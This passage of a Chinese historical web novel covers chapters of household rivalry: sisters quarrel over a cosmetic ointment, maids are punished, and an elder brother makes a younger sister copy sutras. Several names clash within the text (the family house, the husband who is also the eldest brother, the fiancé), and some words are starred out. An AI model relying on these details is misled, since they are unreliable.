“本想着你是初犯,或可饶你一命。可六丫头如今年纪也大了,你作为她身边伺候的,一举一动都代表着她的脸面。你这般轻狂,旁人见了,还当我们庄家上梁不正下梁歪,家风败坏!” 采薇还想再分辨几句,晏老夫人却已经没了耐心,直接挥了挥手。 裘妈妈立刻会意,使了个眼色,立时有两个婆子上前,捂了采薇的嘴,把人往外拖。 采薇的哭喊声渐渐远去,一声声,像刀子似的,刮在钱雅芝的心上。 她紧紧攥着手里的帕子,指节泛白,手背上青筋暴起。 晏玥玥更是吓得脸色惨白,眼泪珠子断了线似的往下掉。 晏芸清依旧面无表情,只是那双原本就淡漠的眸子,此刻更添了几分寒意。 钱雅芝只觉得胸口憋闷得厉害,像是有一团火在烧。 她何曾受过这等窝囊气? 平日里,她在府中作威作福惯了,便是晏老夫人,也得让她三分。 如今晏老夫人突然摆起婆婆的款儿,拿孝道压她,她纵有天大的火气,也只能生生忍着。 可这口气,她怎么也咽不下。 钱雅芝目光阴鸷,死死盯着桂花,像是要把她生吞活剥了一般。 “采薇有错,这桂花也不能轻饶。来人,把她拖出去,重打二十大板!” 桂花 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晏芸清语气平静,听不出喜怒。 钱雅芝被她这番话堵得哑口无言,心里更是憋闷得厉害。 她猛吸一大口空气,强压下心头的怒火,冷冷地盯着晏芸清:“好,既然你执意如此,那就去祠堂跪着,好好反省反省!” 说着,便拂袖而去。 晏玥玥见状,也顾不得害怕,连忙追了上去。 晏芸清缓缓起身,目光平静地看着钱雅芝离去的背影,嘴角勾起一抹不易察觉的冷笑。 “姑娘……”桂花担忧地看着她。 晏芸清摇了摇头,示意她不必多言。 “去祠堂。” 晏芸清刚转过身,走了没几步,便停住了脚步。 方才钱雅芝被什么东西绊倒,那一幕,她看得清清楚楚。 可除了她,似乎没人瞧见。 晏芸清微微眯起眼睛,眸中闪过一丝疑惑。钱雅芝一个趔趄,险些跌倒。方才电光火石之间,她分明感觉有人在背后猛推了自己一把。 第一百六十一章 可一回头,身后哪有半个人影? 贴身伺候的丫鬟还跪在地上,垂着头,大气都不敢出。就算给她熊心豹子胆,也不敢做出这种事。 钱雅芝只觉得一股寒意从脚底板直窜上天灵盖,脸色“唰”地一下变得惨白。 晏芸清与晏老夫人交换了一个眼神,不着痕迹地交换着彼此心照不宣的秘密,把钱雅芝骤变的脸色尽收眼底。 这变故,八成是那位“高人”出手了。晏清澜先前就同她们提过醒,说会有人暗中相助。 晏老夫人微微抬了抬眼皮,目光在钱雅芝身上一扫而过,语气听不出是喜是怒: “这是怎么了?平白无故的,也能摔跤?” 钱雅芝的额角磕破了皮,丝丝血迹渗了出来。可晏老夫人脸上却丝毫不见关切之色。 她并非生性刻薄之人。 只是这些年来,钱雅芝的所作所为,早已让她心寒如冰。 对于这样一个心狠手辣、自私自利的女人,她实在生不出半分同情。 钱雅芝原本还怒火中烧,可这突如其来的一跤,让她心底的惊惧瞬间压过了怒意。 她下意识地环顾四周,总觉得暗处似乎有一双眼睛正盯着自己,让她毛骨悚然。 “我……”钱雅芝张了张嘴,想说自己看到了一个白影,可话到嘴边,又硬生生咽了回去。 她怕说出来,会被人当成疯子。 钱雅芝深吸一口气,强压下心头的恐惧,暗自咬了咬牙,飞快地整理了一下微乱的衣裙和发髻,到底是没敢再像之前那样咄咄逼人。 她定了定神,目光转向晏老夫人,语气勉强维持着平静:“母亲教训的是,是儿媳不小心。” 说完,她又看向晏芸清,眼神阴沉得仿佛能滴出水来: “只是芸芸,你身为长姐,的确应当以身作则。既然你已经认了错,那桂花的二十板子,便由你代为受罚。你可有什么异议?” 晏芸清缓缓抬眸,眼中闪过一丝冷芒,但稍纵即逝。她微微欠身,语气依旧平淡如水: “回母亲的话,桂花是我的贴身丫鬟,她犯了错,便是我的管教不严。理应受罚。” 钱雅芝被她这不温不火的态度噎得胸口发闷,像是吞了一只苍蝇般难受。 晏老夫人轻轻点了点头,表示赞同:“‘子不教,父之过’。丫鬟犯错,主子自然也脱不了干系。” “只是……”晏老夫人话锋一转,目光落在了晏玥玥身上。 “玥玥,你平日里也太过纵容身边的丫鬟了。采薇和桂花起了争执,你身为小姐,不仅不加以制止,反而在旁边煽风点火,实在是太不像话了。” 晏玥玥一听,顿时急了,声音也尖锐起来:“祖母!明明是桂花先动的手!” “够了!”晏老夫人厉声打断了她,“你还敢狡辩?!” “采薇以下犯上,目无尊长,已经被罚了嘴巴。可她和桂花打架斗殴的事,还没完呢!” “你身为小姐,不仅不约束自己的丫鬟,反而纵容她们胡闹,简直是……简直是……” 晏老夫人气得一时竟说不出话来,脸色铁青。 晏玥玥被晏老夫人的疾言厉色吓得浑身一颤,眼泪“唰”地一下就流了下来。 她自小娇生惯养,何曾受过这样的委屈? 平日里,几个哥哥都对她百般疼爱,那群装大姐的,总是看她不顺眼! 她们一定是嫉妒自己得宠! 晏玥玥越想越委屈,哭得梨花带雨,好不可怜。 然而,晏老夫人却丝毫不为所动。 “行了,你也别在我面前装可怜了。你那点小心思,我还不知道?” “平日里你仗着有你娘宠着,便无法无天,如今竟敢当着我的面顶嘴,真是越来越不像话了!” 晏老夫人冷哼一声,语气中带着一丝毫不掩饰的厌恶。 “既然你们姐妹二人都犯了错,那就一起罚!每人抄写十遍《金刚经》,给我好好反省反省!” “若是再让我发现你们惹是生非,就统统给我滚到祠堂里跪着去!” 晏玥玥气得浑身发抖,差点没晕过去。 她怎么也没想到,明明是晏芸清的丫鬟犯错在先,最后竟然连她也要一起受罚! 她这个好长姐,平日里最喜欢跟着祖母一起念经拜佛,这惩罚对她来说,简直就跟挠痒痒一样! 祖母实在是太偏心了! “母亲……”钱雅芝见女儿受了委屈,心疼不已,正想开口求情。 “你给我闭嘴!”晏老夫人狠狠瞪了她一眼,“慈母多 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所以,当晏玥玥开口讨要瑶芳膏时,桂花眼皮子都没抬一下,只垂着头,仿佛压根没听见。 直到余光瞥见自家姑娘晏芸清,依旧是那副波澜不惊的模样,桂花心里更有数了。 很好,看来姑娘压根没打算把东西给出去。 桂花便更卖力地装起了木头桩子,连呼吸都放轻了许多。 晏玥玥憋着一口气,不上不下,眼眶里迅速蓄满了泪水。 “我的瑶芳膏快用完了嘛,我看长姐这儿还有,打算暂时体验一下,” 她吸了吸鼻子,声音发颤, “过些日子,等我的新瑶芳膏到了,就还给长姐……” 说着,她猛地扑进钱雅芝怀里,将脸埋在钱雅芝肩头,声音闷闷的: “算了算了,我不借了,行了吧!” 她抬起头,飞快地睃了晏芸清一眼,又迅速低下头, “省得有些人,背地里说我小气,说我仗势欺人!” 晏玥玥这话,看似在抱怨,实则绵里藏针。 晏芸清听了,只是轻轻挑了下眉梢。 她当然听得出,晏玥玥话里话外都在针对自己。 第一百六十二章 钱雅芝抬起头,眼神复杂地看向晏芸清: “芸芸,你这瑶芳膏……是哪来的?” 她记得清清楚楚,自己可没给过晏芸清这东西! 瑶芳膏那么贵重,一盒就值不少银子,她怎么可能舍得买给晏芸清? 就算是晏老夫人买的…… 钱雅芝迅速否定了这个想法。 晏老夫人虽然疼爱晏芸清,但也不至于这么铺张浪费,给她买这么贵重的东西。 晏芸清没直接回答钱雅芝的问题,而是转头看向晏玥玥。 她眼神清澈,语气平静,但隐隐透着一股冷意。 晏芸清心里冷笑,晏玥玥还真是会装模作样。 明明是她上赶着来讨东西,倒弄得像受了天大的委屈。 “这瑶芳膏……” 晏芸清缓缓开口,声音不大,却足以让在场的每个人都听得清清楚楚, “是何默托人送来的。” 她没提晏清澜,是怕给晏清澜惹麻烦。 钱雅芝和晏玥玥母女俩是什么德行,她再清楚不过了。 要是让她们知道这瑶芳膏是晏清澜送的,还不知道要闹出什么幺蛾子。 钱雅芝刚想说几句场面话,比如“姑娘家要节俭”之类,可话到嘴边,却怎么也说不出口了。 何默送的? 钱雅芝只觉得心里一阵烦闷。 她暗自冷笑,何默现在对晏芸清倒是挺上心,可这又有什么用? 男人,没一个靠得住的。 当初晏明远对她,不也是山盟海誓,甜言蜜语? 可结果呢? 呵,男人。 晏芸清从桂花手里接过瑶芳膏,却并没有递给晏玥玥,而是把它轻轻放在了梳妆台上,一个显眼的位置。 她抬眸,看向晏玥玥,脸上带着浅浅的笑意,依旧是那副端庄大方的模样: “六妹妹,你可千万别误会,姐姐不是舍不得给你。” “只是,准老公给的礼物,转手就给了别人,这要是传出去,对咱们姐妹的名声都不好。” 她微微侧过身,目光落在桂花身上: “桂花这丫头,平日里看着挺机灵,怎么今天就犯了糊涂?” “六妹妹不过是想借瑶芳膏,又不是不还,她怎么就吓成这样,连句话都不会说了?” 她语气一转,又看向晏玥玥, “六妹妹,你别怪桂花,她也是护主心切。这样吧,我让她给你赔个不是,这事就算过去了,好不好?” 桂花一听,立刻跪在地上,连连磕头,声音带着哭腔: “六姑娘恕罪,奴婢知错了,奴婢再也不敢了。” 晏玥玥看着桂花的举动,只觉得胸口闷得慌。 晏芸清一句话,就把所有的错都推到了桂花身上,自己倒成了宽宏大量的好姐姐。 她要是真让桂花赔礼道歉,岂不是显得她小气吧啦,跟一个丫鬟过不去? 晏玥玥咬了咬牙, “算了,桂花姐姐也是为了长姐好,我怎么会怪她呢?” 她努力挤出一个笑容,只是那笑容,怎么看都有些勉强, “不过,长姐和未来姐夫的感情真好,真是让人羡慕呢。” 她心里憋着一股火,却又无处发泄。 晏玥玥暗暗咬牙,今天真是赔了夫人又折兵! 瑶芳膏没要到,还惹了一身骚! 晏芸清仿佛没听出晏玥玥话里的酸味儿,只是淡淡一笑: “六妹妹说笑了,爹娘对你,也是一样的疼爱。” “你不是一直都用瑶芳膏吗?怎么会突然来找我借呢?” 她顿了顿,语气一转: “对了,我听说,妹妹前些日子收了一件宝石盆景,那可是价值连城的宝贝,是谁送的呀?” 她故意停顿了一下,没把话说完。 但在场的人都心知肚明,晏芸清没说出口的名字,是韩承煜。 这种事,私下里说说也就罢了,真要拿到台面上来说,就有些尴尬了。 毕竟,晏玥玥和韩承煜的关系,还没正式确定下来。 韩承煜送这么贵重的礼物,难免会让人多想。 钱雅芝的脸色微微一变,她刚想开口,却见晏芸清已经把话头打住了。 晏玥玥的脸色也有些发白。 她心里暗暗叫苦,晏芸清这一招,可真是够狠的。 她要是承认了,难免落人口实。 可要是否认…… 晏玥玥一时之间,竟不知该如何应对。 她心里委屈极了。 为什么别人家的姐妹都能和睦相处,偏偏她就要被姐姐们处处针对? 她也想像别的姑娘一样,被姐姐们疼爱,被姐姐们呵护啊…… 为什么就这么难呢? 晏芸清看着晏玥玥脸上的表情,心中冷笑,面上却 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她咬了咬嘴唇,嘴里泛起一丝苦涩,声音低若蚊蚋, “这可是准姐夫的心意,我……我怎么好夺人所爱,只是随便问问罢了。” 话是这么说, 可她的心口却像是被什么东西狠狠地揪住,一阵阵抽痛。 像是有只无形的手,撕开了她内心深处最隐秘的渴望, 让她窥见了自己对于“独一无二”的执念。 不只是瑶芳膏, 还有更多……她想要更多…… 那种求而不得的感觉,几乎要将她淹没,让她喘不过气,指甲都快嵌进肉里。 晏玥玥的异样,自然没有逃过钱雅芝的眼睛, 她也觉出几分尴尬和不自在。毕竟方才可是她主动提起瑶芳膏,明眼人都能看出她的小心思。 晏芸清的话,看似是对晏玥玥说的, 可字字句句,都像是在敲打她这个做母亲的。 什么“千金难求”,什么“夺人所爱”, 分明就是在指责她偏心,不明事理! 钱雅芝脸色一阵青一阵白,变幻不定。 她张了张嘴,想要反驳, 可话到嘴边,又觉得无从说起。 第一百六十三章 是啊, 晏芸清是姐姐,让着妹妹不是天经地义的吗? 她怎么就这么斤斤计较! 真是养了个白眼狼! 钱雅芝在心里暗骂, 却忘了当初是谁,对这个女儿百般冷落,从未给过她应有的关爱。 一直沉默不语的晏老夫人,缓缓抬起眼帘,浑浊的眼睛里,看不出任何情绪。 深邃的目光扫过在场的每一个人,像秋风扫落叶般,不带一丝温度。 那目光,像是能洞察人心,让每个人都无所遁形。 最后,她的目光落在了钱雅芝的身上。 那眼神,像淬了冰的刀子,冷得瘆人, 其中蕴含的失望和无奈,几乎要将钱雅芝淹没。 钱雅芝被看得心里一阵发毛,后背冷汗涔涔。 她知道,老夫人又在心里给她记上一笔了。 可她有什么错? 疼爱自己的小女儿,难道也有错吗? 她又不是那等狠心的后娘,偏心到没边儿。 钱雅芝越想越气,越想越委屈, 她猛地转过头,目光如刀子般刺向晏芸清。 然而, 当她对上晏芸清的眼睛时,却一下子愣住了。 那眼神…… 陌生, 冷漠, 没有一丝温度,空洞得像一潭死水, 映不出任何人的影子,连她这个亲生母亲,也无法激起一丝波澜。 钱雅芝猛然间想起, 从前,晏芸清虽然性子冷清, 但看她的时候,眼里总带着几分孺慕和期盼, 像是渴望得到她的认可和关爱,想要获得母亲的疼爱。 可现在,那眼神平静得可怕, 仿佛她只是一个无关紧要的陌生人,再也掀不起任何波澜。 钱雅芝心里咯噔一下,没来由地慌了神。 她这才意识到,自己可能真的伤了这个女儿的心。 或许是这些年对她太过冷淡了, 又或许是只给晏玥玥买了瑶芳膏的事,让晏芸清寒了心。 可晏芸清也不是什么不祥之人,不会给苏府带来灾祸,性子也文静。 如今,她的未婚夫杨澜又前途无量,钱雅芝不想和这个女儿彻底闹僵。 她勉强挤出一个笑容,语气也放柔和了些,像是哄小孩似的: “芸芸啊,娘也不是那个意思,瑶芳膏难得,娘本想给你们姐妹一人一盒,可你也知道……” 钱雅芝顿了顿,脸上露出为难的神色, “可玥玥还小,身子骨弱,皮肤也娇嫩,就先紧着她用了。” “等过些日子,娘托人再寻摸寻摸,一定给你也弄一盒来。” 她努力地补救着,试图挽回自己在女儿心中的形象。 可她却没注意到, 在她说这句话的时候, 晏玥玥猛地抬起头,眼中闪过一丝震惊和……失落,还有一丝不易察觉的委屈。 晏玥玥垂下眼帘,长长的睫毛掩盖了眼底的情绪,让人看不清她在想什么。 她不悦地咬了咬下唇, 心里像是打翻了五味瓶,酸甜苦辣咸,什么滋味都有。 原来,母亲并不是只疼她一个,并不是只给她一个人买瑶芳膏。 原来,只是因为这次只有一盒,所以才先给了她。 下一次,就没有她的份了! 她偷偷瞥了钱雅芝一眼,心里隐隐生出一丝不满,像是一颗小石子,硌得她难受。 母亲总说,她在苏府就是个小公主,最疼爱的就是她。 可现在看来,也不过如此,都是骗人的! 原来,母亲对她和对长姐,并没有什么不同,只是嘴上说得好听罢了。 她也不过是众多宠儿中的一个罢了! 这种巨大的落差感,让晏玥玥难以接受,心里像扎了一根刺。 钱雅芝还在那里自说自话,试图弥补母女间的裂痕。 晏芸清静静地看着她,脸上没有任何表情,让人猜不透她的心思。 她轻叹了口气,语气淡淡的,听不出喜怒,仿佛只是在陈述一个事实: “母亲不必费心了,瑶芳膏虽好,却也不是非要不可,六妹妹喜欢,就让她用吧。” 钱雅芝还想再说些什么,试图缓和一下气氛,再劝上几句。 可晏老夫人却突然捂着额头,轻轻**了一声, “哎呦,头又开始疼了,这**病,真是要命。” 晏芸清见状,连忙上前扶着她, 关切地问:“祖母,您没事吧?是不是昨晚没睡好?” “我扶您回暖阁歇息吧,再让厨房给您熬碗安神汤。” 晏老夫人点了点头, 在晏芸清的搀扶下,缓缓起身,离开了房间,步履蹒跚。 钱雅芝看着她们离去的背影,又气又无奈,只得作罢, 心里盘算 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晏玥玥的话,简直像刀子一样,一下下剜着她的心,让她痛不欲生。 “夫人,您没事吧?” 钱雅芝的贴身丫鬟薇荷连忙扶住她,担忧地问, “六姑娘气得不轻,怕是伤心极了,您要不要去看看?” 要是换做其他时候,钱雅芝早就心肝宝贝地哄着晏玥玥了, 别说一盒瑶芳膏,就是天上的星星,她也想办法给她摘下来。 可这些日子,苏府接二连三出事,让她身心俱疲。 先是她得罪了陆家,险些酿成大祸, 接着又连累丈夫晏景文受牵连,仕途受阻, 然后又被那来历不明的白影吓得魂不守舍,夜夜噩梦。 现在,晏芸清也和她离了心,不再像从前那样亲近她。 桩桩件件,都让她心力交瘁,焦头烂额。 偏偏晏玥玥还这么不懂事,在这个节骨眼上闹脾气, 钱雅芝也是一肚子火,气不打一处来。 她怎么敢招惹陆家? 为什么要鬼迷心窍地去害宋溪溪? 还不是为了这个不省心的小女儿! 可晏玥玥不体谅她这个做母亲的也就算了, 还说出这种伤人的话,真是让她寒心! 第一百六十四章 钱雅芝脸色铁青,嘴唇紧抿, 冷冷地说:“别管她,让她自己冷静冷静,过会儿就知道错了!” “小孩子家家,闹脾气罢了,饿她几顿就好了!” 她想得简单,以为晏玥玥只是耍小性子。 却不知,晏玥玥或许什么都明白, 唯独不明白“认错”二字,更不会轻易低头。 此刻,晏玥玥顶着一张泪痕斑驳的脸,像一只受伤的小兽,跌跌撞撞地跑出了院子。 她漫无目的地走着,心里委屈极了,眼泪像断了线的珠子一样往下掉。 不知不觉中,她来到了晏景文的书房外。 听到里面传来压抑的说话声,她犹豫了一下,还是推开了门。 晏景文正坐在书桌前,眉头紧锁,手里拿着一封信,脸色阴沉得可怕。 见晏玥玥进来,他愣了一下,随即收敛了脸上的神色, 勉强挤出一个笑容, “玥儿,你怎么来了?哭过了?” 晏玥玥吸了吸鼻子,走到晏景文身边, 一把抱住他的胳膊, “大哥,我心里难受,她们都欺负我……” 她断断续续地哭诉着,将刚才发生的事情添油加醋地说了一遍。 当然,她略去了自己主动讨要瑶芳膏的事实, 只说晏芸清如何冷漠,如何不顾姐妹情谊。 晏景文听完,脸色更加难看了。 他原本就因为杨澜的事情心烦意乱,现在又听到晏玥玥的哭诉,更是觉得头疼。 他轻轻拍了拍晏玥玥的背, “好了,别哭了,大哥知道你受委屈了。” “这事……大哥会处理的。” 他嘴上这么说着,心里却另有打算。“玥玥,把事情原原本本地告诉大哥。” 晏景文语气严肃,不容置疑。他放下了手中的书信,指节在桌案上轻轻叩击,发出沉闷的声响。 平日里,他待人接物总是温和有礼,可此刻,身为庄家嫡长子的威严,却毫无保留地显露出来。 晏景文得到的消息,字字句句都像针一样扎在他的心上: 晏玥玥带着丫鬟去了晏芸清的院子,趁着晏芸清不在,竟然想直接拿走她的东西。 晏芸清的丫鬟尽忠职守,拦着不让,说是要等自家小姐回来才能做主。 可晏玥玥身边的采薇呢?非但没有半点收敛,反而越发嚣张,言语间极尽刻薄。 最后,两个院子的丫鬟竟然动起手来,闹得不可开交。 晏景文一直觉得,做姐姐的理应让着妹妹。可这一次,错的是谁,他心里跟明镜似的。 不问自取,便是偷。这是再简单不过的道理。 晏玥玥若是真心想要那瑶芳膏,大可以等晏芸清回来,好声好气地跟她商量。 在晏景文看来,晏芸清身为长姐,又一向大方,怎么会舍不得一盒瑶芳膏? 可晏玥玥倒好,连这点耐心都没有。 更让晏景文生气的是,她竟然还敢在自己面前颠倒是非,把所有的过错都推到晏芸清身上。 这已经不仅仅是任性了,简直就是撒谎! 晏景文的眉头紧紧地皱了起来,几乎拧成了一个“川”字。 他一向疼爱的六妹妹,往日里都是乖巧懂事的。 可今天,他实在不愿意相信,晏玥玥竟然学会了说谎。 晏玥玥还沉浸在自己的委屈里,完全没有注意到晏景文的神色已经变了。 她抬起衣袖,擦了擦眼角的泪水,声音哽咽,断断续续地说着: “我……我不过是想跟大姐姐借一点瑶芳膏用用,可她院子里的那个丫鬟,却怎么都不肯,还说了很多难听的话……” “后来,大姐姐回来了,不但不帮我说话,还……还跟那个丫鬟一起,冷嘲热讽地……挤兑我。” 说到这里,她再也忍不住,眼泪像断了线的珠子一样,扑簌簌地往下掉。 她抬起头,可怜巴巴地望着晏景文,眼睛里充满了受伤和不解: “大哥,你说实话,长姐她……是不是也跟四姐姐、五姐姐一样不喜欢我?她是不是……也讨厌我?” 不等晏景文回答,她又低下头,肩膀一抽一抽的,仿佛受了天大的委屈。 那低低的哭泣声,听得人心都碎了。 里面有三分难过,七分怨怼: “我知道,我当然知道……这个家里,除了爹娘和哥哥,所有人都容不下我!” “她们巴不得我早点死呢,就因为……就因为我比她们更得宠……” 晏景文万万没想到,自己一直捧在手心里疼爱的妹妹,竟然会说出这种话来。< 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他松开了晏玥玥的手腕,轻轻地拍了拍她的头顶,语气也缓和了一些: “傻丫头,大哥怎么会不喜欢你呢?大哥只是……只是不喜欢你撒谎。” 晏玥玥紧紧地咬着嘴唇,眼泪在眼眶里打转,却不敢再让它流下来。 那句“我没有撒谎”,就在嘴边,可她却怎么也说不出口。 因为她知道,晏景文的眼睛,是容不得半点沙子的。 她微微低着头,不敢看晏景文的眼睛,声音小得像蚊子哼哼: “我……我那是……气糊涂了,才……才胡说八道的。” 她快速地眨了眨眼睛,努力把眼泪憋回去,整个人看起来既可怜又无助。 “我就是……就是太难过了,也太生气了……不就是一盒瑶芳膏吗?我和大姐姐,再怎么说也是亲姐妹啊……” 晏景文看着她,微微叹了口气。 他知道,晏玥玥还是个孩子,有时候难免会耍些小性子。 为了一盒瑶芳膏,就闹成这样,也真是够孩子气的。 他的语气里,不自觉地带上了一丝无奈和宠溺: “行了行了,以后可不许再说这种傻话了,记住了吗? 第一百六十五章 ” 他心里其实是相信晏玥玥的,相信她只是一时冲动,说了气话。 毕竟,他们兄妹俩朝夕相处这么多年,晏玥玥如果真是个心机深沉、谎话连篇的人,他不可能一点都看不出来。 他晏景文,又不是瞎子、聋子。 晏玥玥心里还是有些不服气,但她更怕晏景文会真的讨厌她,只能不情不愿地点了点头,小声嘟囔了一句: “知道了……” 她偷偷抬眼,看了看晏景文的脸色,见他神色稍霁,才又壮着胆子,开始撒娇: “可是大哥,祖母罚我抄的书,我真的不想抄嘛……那些经文,又枯燥又难懂,我一看就头疼。” 要是以前,她这样跟晏子晏撒娇,晏子晏肯定二话不说,就帮她把书抄了。 可晏景文不一样。 他可是出了名的“老学究”,最讲究规矩,最讨厌别人不守规矩。 果然,晏景文的脸色立刻就沉了下来: “胡闹!你这几日心浮气躁,正需要好好静静心,抄抄经书,正好可以磨磨你的性子!” 他顿了顿,看着晏玥玥,语气不容置疑, “祖母不是那种喜欢听好话的人,你与其想这些有的没的,不如给我好好抄,一个字都不能错,更不能让别人代笔!” 晏景文虽然疼爱妹妹,但他也有自己的原则。 有些事情,可以睁一只眼闭一只眼,但有些事情,绝对不能妥协。 替人抄书这种事,在他看来,就是绝对不能容忍的。 晏玥玥一听,顿时傻眼了,一张小脸皱成了苦瓜。 她心里那个郁闷啊,简直比吞了黄连还苦。 她低着头,有气无力地应了一声: “好吧,我知道了……” 晏景文想了想,还是不放心,又问她: “祖母到底罚你抄的什么经?” 晏玥玥的表情更沮丧了,声音也低得快要听不见了: “还能是什么?当然是祖母每天都要念的《金刚经》了……” 晏景文点点头,表示知道了。 他站起身,走到门口,吩咐候在外面的丫鬟: “去,把笔墨纸砚都拿过来,再到书房里,找一本《金刚经》来。” 晏玥玥一听这话,彻底呆住了。 她愣愣地站在那里,半晌才反应过来,结结巴巴地问: “大……大哥,你这是……要干什么呀?” 晏景文却没有直接回答她,而是走到一旁的紫檀木桌案前,亲手铺开一张上好的宣纸。 然后,他走到一旁的水盂边,净了净手,开始细细地研起墨来。 墨香,渐渐在空气中弥漫开来,带着一种宁静致远的意味。 他这才缓缓开口,语气平静得没有一丝波澜: “既然祖母罚你抄经,自然是要你静心。左右你现在也没什么事,不如就在这里,把经抄完再走。” 晏玥玥一听,顿时觉得天旋地转,差点没晕过去。 原本还想着找借口溜走,这下到好。 晏景文这一招,可真是釜底抽薪,让她连半点反抗的余地都没有。 她哭丧着脸,声音都带上了哭腔: “大哥~这,这么多,我手会抄断的” 晏景文完全不为所动。 他拿起晏玥玥抄好的第一张,眉头紧锁: “字迹潦草,毫无章法。静不下心,抄再多也无用。” 说完,竟当着她的面,将那张纸撕成两半! 晏玥玥吓了一跳,呆呆地看着晏景文。 从小到大,晏景文虽然严肃,但从未对她发过这么大的火。 “重写。” 晏景文的声音冷冷的,不带一丝感情。 “今日不写完十遍,不准离开这里。” 晏玥玥彻底绝望了。 她知道,晏景文这次是铁了心要让她吃点苦头了。 她不敢再有任何异议,只能乖乖地拿起笔,重新开始抄写。 只是,她心里越是委屈,手就越是不听使唤,写出来的字,也越发地难看。晏景文越看晏玥玥新写的字,眉头皱得越紧,像是能夹住一片秋叶。 他沉着脸,声音也沉了几分: “玥玥,你多久没碰过毛笔了?” 尾音微微上扬,带着毫不掩饰的质疑。 “我记得从前,”他顿了顿,似乎在回忆,“你的簪花小楷写得很漂亮,现在怎么这么不像话?” 晏景文修长的手指点了点那几页纸,示意晏玥玥停笔。 晏玥玥只觉得笔尖一沉,像是坠了千斤重担,连忙把笔搁下,低垂着头,不敢看他。 晏景文背着手,缓缓踱了两步,板起脸: “玥玥,我懂你们女孩子爱玩,可不能沉迷玩乐误了正事。” “你看看你写 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晏景文这样一丝不苟的人,她实在怕了。 晏玥玥深深吸了口气,又缓缓吐出,像是要把心中的郁闷都吐出来。 她无奈地应承了,声音闷闷的: “大哥,我好好抄书。别逼我天天来盯着你,这事传出去多丢人。” 兄妹俩年纪都大了,天天腻在一块,虽说家人不会说什么。 但晏玥玥总觉得不自在,她一个女儿家,总往兄长书房跑,算怎么回事? 晏景文沉吟片刻,手指轻轻敲击着桌面,似乎也觉得这话有理。 晏玥玥以为他打消了每日练字一个时辰的念头,稍稍松了口气。 谁知,晏景文话锋一转: “这样,我让书房的下人把你的笔墨纸砚搬到后院的梅韵轩,你每日去那边练字。” “你一个人练也无趣,我让你五姐姐陪你。”他顿了顿,又补上一句,“把你那俩哥也叫来,我们一起,也免得有人说闲话。” 晏景文想得“周到”,晏玥玥却差点吐血。 她尴尬地扯出一抹苦笑,努力挤出一个比哭还难看的笑容: “大哥这操心程度简直了。 第一百六十六章 ” 周到得她想立刻逃走! 还不如老老实实在书房写字! 晏玥玥眼前浮现出梅韵轩的样子,光秃秃的,连个遮阳的地方都没有。 大夏天的,非得把人热死不可! 到时候,晏景文肯定不会让她用冰盆,也不会让丫鬟给她扇扇子。 他一定会说,写字必须专心致志,要静心。 心静自然凉,心不静,再凉快也没用。 晏玥玥不敢反驳,她怕晏景文再想出什么更可怕的法子来折磨她。 晏玥玥后悔得肠子都青了,她没事来告什么状啊! 这下好了,晏芸清没怎么样,她倒霉了! 晏玥玥一张脸,皱得跟苦瓜似的,五官都扭成一团。 晏景文眼神一凛,语气不悦: “好好写,不要想别的。” 晏玥玥不敢再胡思乱想,连忙收敛心神,把注意力放在抄书上。 这么一来,晏景文的脸色果然好看了些,没再挑她的毛病。 晏玥玥写完一篇,晏景文看过后,微微点头,示意她继续。 可《金刚经》字数不少,抄十遍,哪是那么容易的事? 晏玥玥抄了大半天,手腕酸疼,腰也直不起来了。 她偷偷看了一眼晏景文,见他还在看书,便悄悄放下笔,揉了揉手腕。 晏景文像是背后长了眼睛,头也不抬地说: “怎么不写了?累了?” 晏玥玥连忙坐直身子,拿起笔: “没有,我不累。” 晏景文这才抬起头,看了她一眼: “今日就到这里吧,你先回去,明日再来。” 晏玥玥如蒙大赦,连忙起身行礼,逃也似的离开了书房。 回到自己的院子,晏玥玥只觉得浑身都散了架,像是被抽走了骨头。 她有气无力地吩咐丫鬟准备热水,洗漱一番后,便倒在床上,一动也不想动。 采薇见她这副模样,心中忐忑不安。 她不知道晏玥玥在书房发生了什么,但看她的脸色,肯定没发生什么好事。 采薇担心晏玥玥会迁怒于她,把气撒在她身上。 她小心翼翼地走到床边,轻声问道: “小姐,您没事吧?” 晏玥玥睁开眼睛,看了她一眼,摇了摇头: “我没事,你下去吧。” 说完,她又闭上了眼睛,不再说话。 —— 将军府。 宋明澜正揪着宋溪溪的耳朵,气得跳脚: “你个死丫头,让你离杨澜远点,你偏不听!” “还说什么杨澜长得好看,让你阿清姐姐多看看他!” “你是存心要我生气吧?” 宋溪溪疼得龇牙咧嘴,连声求饶: “大哥,我错了,我再也不敢了!” 晏清澜站在一旁,无奈地叹了口气。 她走上前,轻轻拍了拍宋明澜的胳膊: “大哥,你别生气了,溪溪也是为了我好。” 宋明澜瞪了她一眼: “你还帮着她说话?她那是为你着想?” “她那是看热闹不嫌事大!” “杨澜那小子,一看就不是什么好东西,你离他远点!” 晏清澜哭笑不得: “大哥,杨澜才多大,你至于吗?” “再说,他也没对我怎么样啊。” 宋明澜不依不饶: “他没对你怎么样?他看你的眼神,就跟狼见了肉似的!” “我告诉你,男人最了解男人,杨澜那小子,绝对没安好心!” 他顿了顿,又开始念叨: “还有那个晏子晏,也不是什么好东西!” “他以前怎么对你的,你都忘了吗?” “现在他跟杨澜混在一起,肯定没憋什么好屁!” 晏清澜知道,宋明澜这是对过去的事情耿耿于怀,一时半会儿转不过弯来。 她也不跟他争辩,只是笑着说道: “好啦好啦,我知道了,我会离他们远点的。” “你快放开溪溪吧,你看她都快哭了。” 宋明澜这才松开手,宋溪溪连忙躲到晏清澜身后,揉着耳朵,可怜巴巴地看着她。 晏清澜无奈地摇了摇头,对宋明澜说道: “大哥,你别总是把人想得那么坏。” “杨澜还小,可能就是一时好奇,过几天就好了。” “至于晏子晏,他现在不是变好了吗?你也不能总用老眼光看人啊。” 她明白,少年人的心思,来得快,去得也快。 杨澜或许只是因为她长得好看,才对她有些好感。 这种喜欢,太肤浅,也太短暂 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“若他胆敢三心二意,你只管让他有多远滚多远!我们陆家的千金,岂能受这种气!”说到最后,宋明澜的声音掷地有声。 余晖洒在宋明澜那身挺拔的玄色锦袍上,仿佛为他镀上了一层金边。晏清澜抬眸,望着眼前这个意气风发的男子,心中涌上一股暖流。 那个曾经在沙场上挥洒热血、奋勇杀敌的少年,如今也长成了能为家人遮风挡雨的可靠兄长。 她嘴角微微上扬,眼中闪过一丝感动,轻轻点了点头:“嗯,我知道了。” “不过阿清姐姐这么好看,万一那些臭男人都眼瞎了非要往上凑怎么办?”宋溪溪托着下巴,突然冒出这么一句,语气里满是担忧。 